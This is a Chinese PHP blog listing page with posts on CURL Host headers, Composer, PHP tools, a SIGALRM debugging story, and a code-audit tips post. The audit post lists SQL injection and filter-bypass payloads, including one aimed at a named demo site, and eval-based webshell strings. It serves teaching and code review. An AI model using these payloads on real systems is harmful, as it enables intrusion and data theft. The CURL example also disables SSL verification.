首页
关于
Search
1
给你10个市场数据调研报告的免费下载网站!以后竞品数据就从这里找!
184 阅读
2
php接口优化 使用curl_multi_init批量请求
144 阅读
3
《从菜鸟到大师之路 ElasticSearch 篇》
107 阅读
4
2024年备考系统架构设计师
104 阅读
5
PHP 文件I/O
92 阅读
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
登录
Search
标签搜索
php函数
php语法
性能优化
安全
错误和异常处理
问题
vue
Composer
Session
缓存
框架
Swoole
api
并发
异步
正则表达式
php-fpm
mysql 索引
开发规范
协程
dafenqi
累计撰写
786
篇文章
累计收到
33
条评论
首页
栏目
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
副业
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
页面
关于
搜索到
560
篇与
的结果
2023-08-09
PHP CURL CURLOPT_HTTPHEADER设置HOST主机头进行外网访问
为了安全,我们的web服务主机往往不能上网。维护的时候,也是通过跳板机,ssh登录后去操作。有时候我们的程序需要访问外网。比如需要调用外网其他程序的某个接口。这下该怎么办呢?我们可以通过PHP的CURL函数的CURLOPT_HTTPHEADER来配置设置host访问。在开发中,我遇到这样一个例子。有一个活动程序,需要调用qzone那边的一个接口。如下代码示例:$host = array("Host: act.qzone.qq.com"); $data = 'user=xxx&qq=xxx&id=xxx&post=xxx'; $url = 'http://192.168.1.12/xxx/xxx/api/'; var_dump( $this->curl_post($host, $data,$url) ); / * 提交请求 * @param $host array 需要配置的域名 array("Host: act.qzone.qq.com"); * @param $data string 需要提交的数据 'user=xxx&qq=xxx&id=xxx&post=xxx'.... * @param $url string 要提交的url 'http://192.168.1.12/xxx/xxx/api/'; */ function curl_post($host,$data,$url) { $ch = curl_init(); $res= curl_setopt ($ch, CURLOPT_URL,$url); var_dump($res); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_HTTPHEADER,$host); $result = curl_exec ($ch); curl_close($ch); if ($result == NULL) { return 0; } TMDebugUtils::debugLog($result); return $result; }通过PHP CURL CURLOPT_HTTPHEADER设置HOST很方便的解决了访问外网接口的问题。
2023年08月09日
20 阅读
0 评论
0 点赞
2023-08-09
PHP最好用的依赖工具Composer介绍
PHP最好用的依赖工具Composer介绍Composer 是 PHP 的一个依赖管理工具。它允许你申明项目所依赖的代码库,它会在你的项目中为你安装他们。依赖管理Composer 不是一个包管理器。是的,它涉及 "packages" 和 "libraries",但它在每个项目的基础上进行管理,在你项目的某个目录中(例如 vendor)进行安装。默认情况下它不会在全局安装任何东西。因此,这仅仅是一个依赖管理。这种想法并不新鲜,Composer 受到了 node 的 npm和 ruby 的 bundler 的强烈启发。而当时 PHP 下并没有类似的工具。Composer 将这样为你解决问题:a) 你有一个项目依赖于若干个库。b) 其中一些库依赖于其他库。c) 你声明你所依赖的东西。d) Composer 会找出哪个版本的包需要安装,并安装它们(将它们下载到你的项目中)。声明依赖关系比方说,你正在创建一个项目,你需要一个库来做日志记录。你决定使用 monolog。为了将它添加到你的项目中,你所需要做的就是创建一个 composer.json 文件,其中描述了项目的依赖关系。{ "require": {"monolog/monolog": "1.2.*"}}我们只要指出我们的项目需要一些 monolog/monolog 的包,从 1.2 到 1.3 之间的最高版本。系统要求运行 Composer 需要 PHP 5.3.2+ 以上版本。一些敏感的 PHP 设置和编译标志也是必须的,但对于任何不兼容项安装程序都会抛出警告。我们将从包的来源直接安装,而不是简单的下载 zip 文件,你需要 git 、 svn 或者 hg ,这取决于你载入的包所使用的版本管理系统。Composer 是多平台的,我们努力使它在 Windows 、 Linux 以及 OSX 平台上运行的同样出色。下载 Composer 的可执行文件局部安装要真正获取 Composer,我们需要做两件事。首先安装 Composer (同样的,这意味着它将下载到你的项目中):curl -sS https://getcomposer.org/installer | php注意: 如果上述方法由于某些原因失败了,你还可以通过 php >下载安装器:php -r "readfile('https://getcomposer.org/installer');" | php这将检查一些 PHP 的设置,然后下载 composer.phar 到你的工作目录中。这是 Composer 的二进制文件。这是一个 PHAR 包(PHP 的归档),这是 PHP 的归档格式可以帮助用户在命令行中执行一些操作。你可以通过 --install-dir 选项指定 Composer 的安装目录(它可以是一个绝对或相对路径):curl -sS https://getcomposer.org/installer | php -- --install-dir=bin全局安装你可以将此文件放在任何地方。如果你把它放在系统的 PATH 目录中,你就能在全局访问它。 在类Unix系统中,你甚至可以在使用时不加 php 前缀。你可以执行这些命令让 composer 在你的系统中进行全局调用:curl -sS https://getcomposer.org/installer | phpmv composer.phar /usr/local/bin/composer注意: 如果上诉命令因为权限执行失败, 请使用 sudo 再次尝试运行 mv 那行命令。现在只需要运行 composer 命令就可以使用 Composer 而不需要输入 php composer.phar。全局安装 (on OSX via homebrew)Composer 是 homebrew-php 项目的一部分。brew updatebrew tap josegonzalez/homebrew-phpbrew tap homebrew/versionsbrew install php55-intlbrew install josegonzalez/php/composer使用 Composer现在我们将使用 Composer 来安装项目的依赖。如果在当前目录下没有一个 composer.json 文件,请查看基本用法章节。要解决和下载依赖,请执行 install 命令:php composer.phar install如果你进行了全局安装,并且没有 phar 文件在当前目录,请使用下面的命令代替:composer install继续 上面的例子,这里将下载 monolog 到 vendor/monolog/monolog 目录。自动加载除了库的下载,Composer 还准备了一个自动加载文件,它可以加载 Composer 下载的库中所有的类文件。使用它,你只需要将下面这行代码添加到你项目的引导文件中:require 'vendor/autoload.php';现在我们就可以使用 monolog 了!想要学习更多关于 Composer 的知识,请查看“基本用法”章节。
2023年08月09日
11 阅读
0 评论
0 点赞
2023-08-09
PHP代码审计tips
1、$_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER并没有转义,造成了注入。例如:Default1 /easy/index.php/aaa',(select//if((select//ord(substr(user(),1,1)))=114,sleep(3),0)),1)#2、update更新时没有重构更新序列,导致更新其他关键字段(金钱、权限)例如:Default1 id=1&data=1991-03-16&money=10000000http://www.wooyun.org/bugs/wooyun-2014-0695073、在 php中 如果使用了一个未定义的常量,PHP 假定想要的是该常量本身的名字,如同用字符串调用它一样(CONSTANT 对应 “CONSTANT”)。此时将发出一个 E_NOTICE 级的错误(参考http://php.net/manual/zh/language.constants.syntax.php)例如:Default1 未定义常量if(IN_ADMIN != TRUE) 等式不成立,非0、null都为truehttp://www.wooyun.org/bugs/wooyun-2014-0695034、PHP中自编写对标签的过滤或关键字过滤,应放在strip_tags等去除函数之后,否则引起过滤绕过。例如:Defaultfunction mystrip_tags($string){$string = remove_xss($string);$string = new_html_special_chars($string);$string = strip_tags($string);//remove_xss在strip_tags之前调用,所以很明显可以利用strip_tags函数绕过,在关键字中插入html标记.return $string;}http://www.wooyun.org/bugs/wooyun-2014-070316对关键字过滤之后存在字符替换、html去除等操作可构造多余字符绕过。例如:提交Default1 user//WHERE//IF((SELECT//ASCII(SUBSTRING(PASSWORD,1,1))FROM//ts_user/**/LIMIT 1)=101,1=SLEEP(2.02),0)%23由于全局关键字过滤之后存在strip_tags()函数可绕过。http://www.wooyun.org/bugs/wooyun-2014-077877http://www.wooyun.org/bugs/wooyun-2014-0776895、当可控变量进入双引号中时可形成webshell例如:Default$a = "${@eval($_POST[s])}";$a = "${${eval($_POST[s])}}";因此代码执行使用${file_put_contents($_GET[f],$_GET[p])}可以生成webshell。http://www.wooyun.org/bugs/wooyun-2014-0855186、宽字节转编码过程中出现宽字节注入Default1 例如:测试输入 ->%5C %e5%5c%5c' 两个\ 则单引号出来7、构造查询语句时无法删除目标表中不存在字段时可使用mysql多表查询绕过。例如:Default12select uid,password from users,admins;(uid存在于users、password存在于admins)8、mysql中(反引号)能作为注释符,且会自动闭合末尾没有闭合的反引号。无法使用注释符的情况下使用别名as+反引号可闭合其后语句。例如:Default1 select username,password from pre_common_statuser as ` as statistic from common_stat where uid=1此处(password from pre_common_statuser as )为注入语句,使用别名as与自带无视其后语句。http://www.wooyun.org/bugs/wooyun-2014-0749709、mysql的类型强制转换可绕过PHP中empty()函数对0的false返回。Default1 例如:提交/?test=0axxx -> empty($_GET['test']) => 返回真但是mysql中提交其0axxx到数字型时强制转换成数字0http://zone.wooyun.org/content/1585910、存在全局过滤时观察过滤条件是否有if判断进入,cms可能存在自定义safekey不启用全局过滤。通过程序遗留或者原有界面输出safekey导致绕过。例如:Defaultif($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']){foreach($_POST as $id=>$v){safesql($id,$v,"POST",$config);$id = sfkeyword($id,$config);$v = sfkeyword($v,$config);$_POST[$id]=common_htmlspecialchars($v);}}http://www.wooyun.org/bugs/wooyun-2014-07012611、由于全局过滤存在白名单限定功能,可使用无用参数带入绕过。例如:Default1 if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url))其中具体过滤代码如下://后台白名单,后台操作将不会拦截,添加”|”隔开白名单目录下面默认是网址带 admin /dede/ 放行Default1 $webscan_white_directory='admin|/dede/|/install/';//url白名单,可以自定义添加url白名单,默认是对phpcms的后台url放行//写法:比如phpcms 后台操作url index.php?m=admin php168的文章提交链接post.php?job=postnew&step=post ,dedecms 空间设置edit_space_info.phpDefault1 $webscan_white_url = array('index.php' => 'admin_dir=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>'');只要让传入参数存在白名单目录或参数即可绕过。利用白名单目录:Default1 http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx由于请求中包含了白名单目录/dede/,所以放行。利用白名单参数:Default1 http://www.target.com/index.php?m=foo&c=bar&admin_dir=admin&id=1' and 1=2 union select xxx请求中包含了白名单参数所以放行。http://www.wooyun.org/bugs/wooyun-2014-07012612、字符串截断函数获取定长数据,截取\或\’前一位,闭合语句。利用条件必须是存在两个可控参数,前闭合,后注入。例如:Defaultif (strlen($u_email)>32) { $u_email = substring($u_email,32);}if (strlen($u_qq)>16) { $u_qq = substring($u_qq,16);}if (strlen($u_phone)>16) { $u_phone = substring($u_phone,16);}$u_phone=123456789012345\ 带入:UPDATE mac_user SET u_qq='$u_qq',u_email='$u_email',u_phone='123456789012345\',u_question='$u_question',u_answer='$u_answer',u_password='$u_password'WHERE u_id=1http://www.wooyun.org/bugs/wooyun-2014-08297313、过滤了空格,逗号的注入,可使用括号包裹绕过。具体如遇到select from(关键字空格判断的正则,且剔除/**/等)可使用括号包裹查询字段绕过。例如:Default1 select(location)from(website);http://www.wooyun.org/bugs/wooyun-2014-079379另外一种方式:Defaultselect{x table_name}from{x information_schema.tables}select{x(name)}from{x(manager)};select{wooyun'zone'}from{mysql.user}select{x+table_name}from{x(information_schema.tables)}14、由于PHP弱类型验证机制,导致==、in_array()等可通过强制转换绕过验证。例如:Default1 in_array($_GET['x'],array(1,2,3,4,5))访问?test=’1’testtest可判断成功。http://www.freebuf.com/articles/web/55075.html15、WAF或者过滤了and|or的情况可以使用&&与||进行盲注。DefaultFALSE的情况:1 || 0TRUE的情况:1 || 1例如:Default1 http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited16、windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”,分别代表N个任意字符与1个任意字符。例如:Default1 file_get_contents("/images/".$_GET['a'].".jpg");可使用test.php?a=../a<%00访问对应php文件。
2023年08月09日
22 阅读
0 评论
0 点赞
2023-08-09
15个 PHP 开发工具
PHP是一种服务器端的脚本语言,通常用于WEB开发,但也可以用于其他普通的功能。它是最常用的语言之一,目前大约有240万个网站是用PHP语言实现的。网络上有很多免费的PHP开发工具,这些工具对于PHP程序员来说是非常好用的,并且有很大的帮助作用。有很多基本的功能,也有许多高级工具,但是想找到适合你的却不是一件容易的事。互联网上有太多的资源,以至于很难找到适合的。如果你是一名Web开发人员,并在寻找一些新鲜的PHP开发工具,那么你就找对地方了。这篇文章中,我们将为你提供一份互联网上免费的最好用的PHP开发工具列表。这份列表中包含对初学者十分有用的工具,同样也包含专业PHP程序员开发特定功能所需的高端工具。1) PHP CPPphp-tools-php-cppPHP-CPP库是一个用于开发PHP扩展的C++库。它提供了一个可以用了创建PHP扩展的、文档健全、简单易用的类的集合。2) SUBLIMETEXTphp-tools-sublimetextSublimeText是程序员中最流行的编辑器之一。你一定会喜欢它漂亮的界面、强大的功能以及非凡的性能。3) PLATES PHPphp-tools-phpplates1Plates 是一个快速、简单易用、易扩展的本地PHP模版系统。Plates是为喜欢本地PHP模版,而非编译后的模版(如Twig,Smarty)的程序员准备的。4) HOAphp-tools-hoaHoa 是另一个非常流行的PHP库。5) SlimStarterphp-tools-xsenistySlimStarter为中小型Web应用提供了完美解决方案,提供HMVC环境,只有4M左右的大小。建立在完善的Slim框架之上,数据库层面提供Eloquent ORM,表现层使用Twig模版引擎。6) PARSEDOWNphp-tools-parsedownPHP中非常棒的Markdown解析工具。7) PRETTIFIERphp-tools-prettifierPrettifier 为常用的编程语言,如JSON、CSS、HTML、XML、SQL、PHP、Perl、Apache Config、JavaScript等提供了代码格式化和语法高亮等功能。8) FORPphp-tools-forpforp是提供PHP配置文件数据的轻量级PHP扩展。功能:每个函数分配时间和内存的测量CPU使用率函数调用的文件及行号谷歌跟踪事件格式函数说明函数分组函数别名9) GEOCODERphp-tools-geocoderGeocoder库通过提供了一个强大的抽象层来操作地理编码,可以帮你创建地理感知应用程序。10) TWIGphp-tools-twigTwig是一个快速、安全、灵活、现代化的PHP模版引擎。允许开发人员自定义标签和过滤器,并创建自己的DSL。11) REQUESTS FOR PHPphp-tools-requestsforphpRequests 是一个用PHP实现的HTTP库,它基于优秀的Requests Python库API实现。12) GUZZLE PHPphp-tools-guzzlephpGuzzle 是一个PHP的HTTP客户端,可以轻易地发送HTTP请求及实现WEB服务集成。13) BELTphp-tools-beltBelt 是PHP程序员非常顺手的工具。14) FAKERphp-tools-fakerFaker是一个为你生成假数据的PHP库。无论你是想启动数据库、创建漂亮的XML文件、进行压力测试等,Faker都可以满足你。15) MINKphp-tools-minkWEB中最重要的一部分就是浏览器。浏览器是互联网用户与Web应用程序及其他用户交互的窗口。用户总是通过浏览器来与应用程序交互。
2023年08月09日
9 阅读
0 评论
0 点赞
2023-08-09
一次php进程诡异退出的排查过程
一次php进程诡异退出的排查过程背景最近给XX项目搭建一个反垃圾平台。效果不错,但是出现了一个诡异的事情。离线扫描部分会有一个常驻的php进程,以便处理发现的垃圾信息。常驻的php进程总是诡异的退出。php代码示例如下:<?phpwhile(1){$content = fgets(STDIN);if(empty($content)){sleep(1);}//逻辑处理部分代码省略}?>排查过程最初的想法是php执行过程中出现的致命错误,导致php进程退出。好吧,我们使用register_shutdown_function来跟踪下到底是什么错误导致的进程退出。(想更多了解register_shutdown_function,请查看博文 妙用php中的register_shutdown_function和fastcgi_finish_request)加入了错误捕捉代码。如下:<?php$is_end = false;function catch_error(){global $is_end;$time = date('Y-m-d H:i:s');$error = error_get_last();$msg = "$time [error]";if($is_end){$msg .= "is_end[yes]";}else{$msg .= "is_end[no]";}if($error){$msg .= var_export($error,1);}echo $msg."\r\n";}register_shutdown_function("catch_error");?>可是,php进程再次退出。而在日志中并没有记录任何信息。说明register_shutdown_function方法根本没有执行。是什么导致register_shutdown_function方法没有运行呢?在php的官方文档中又这样一个注释:Shutdown functions will not be executed if the process is killed with a SIGTERM or SIGKILL signal. While you cannot intercept a SIGKILL, you can use pcntl_signal() to install a handler for a SIGTERM which uses exit() to end cleanly.注释的意思是当php进程获得SIGTERM和SIGKILL信号而退出时,是不执行register_shutdown_function方法的。可以使用pcntl_signal()方法来捕获信息,并调用相应的处理方法。好,那是不是信号导致我们的php进程退出呢?我们加入如下代码:<?phpdeclare(ticks = 1);function sig_handler($signo){$time = date('Y-m-d H:i:s');echo $time." exit signo[{$signo}]\r\n";exit("");}pcntl_signal(SIGTERM, "sig_handler");pcntl_signal(SIGHUP, "sig_handler");pcntl_signal(SIGINT, "sig_handler");pcntl_signal(SIGQUIT, "sig_handler");pcntl_signal(SIGILL, "sig_handler");pcntl_signal(SIGPIPE, "sig_handler");pcntl_signal(SIGALRM, "sig_handler");?>过一段时间,发现php进程退出了,日志中出现了如下日志信息:2014-11-23 18:30:06 exit signo[14]2014-11-23 18:30:06 [error]is_end[no]看来是sigalarm信号导致php进程退出了。这个信号是可以捕获和处理的。这样无关紧要的信号,我们还是忽略吧。最终的代码如下:<?phpdeclare(ticks = 1);$is_end = false;function catch_error(){global $is_end;$time = date('Y-m-d H:i:s');$error = error_get_last();$msg = "$time [error]";if($is_end){$msg .= "is_end[yes]";}else{$msg .= "is_end[no]";}if($error){$msg .= var_export($error,1);}echo $msg."\r\n";}register_shutdown_function("catch_error");function sig_handler($signo){$time = date('Y-m-d H:i:s');if($signo == 14){//忽略alarm信号echo $time." ignore alarm signo[{$signo}]\r\n";}else{echo $time." exit signo[{$signo}]\r\n";exit("");}}pcntl_signal(SIGTERM, "sig_handler");pcntl_signal(SIGHUP, "sig_handler");pcntl_signal(SIGINT, "sig_handler");pcntl_signal(SIGQUIT, "sig_handler");pcntl_signal(SIGILL, "sig_handler");pcntl_signal(SIGPIPE, "sig_handler");pcntl_signal(SIGALRM, "sig_handler");while(1){$content = fgets(STDIN);if(empty($content)){sleep(1);}//逻辑处理部分代码省略}$is_end = true;?>经过一段观察,在日志中又发现了alarm相关的日志,但是php进程依然在。看来我们的修改有
2023年08月09日
8 阅读
0 评论
0 点赞
1
...
70
71
72
...
112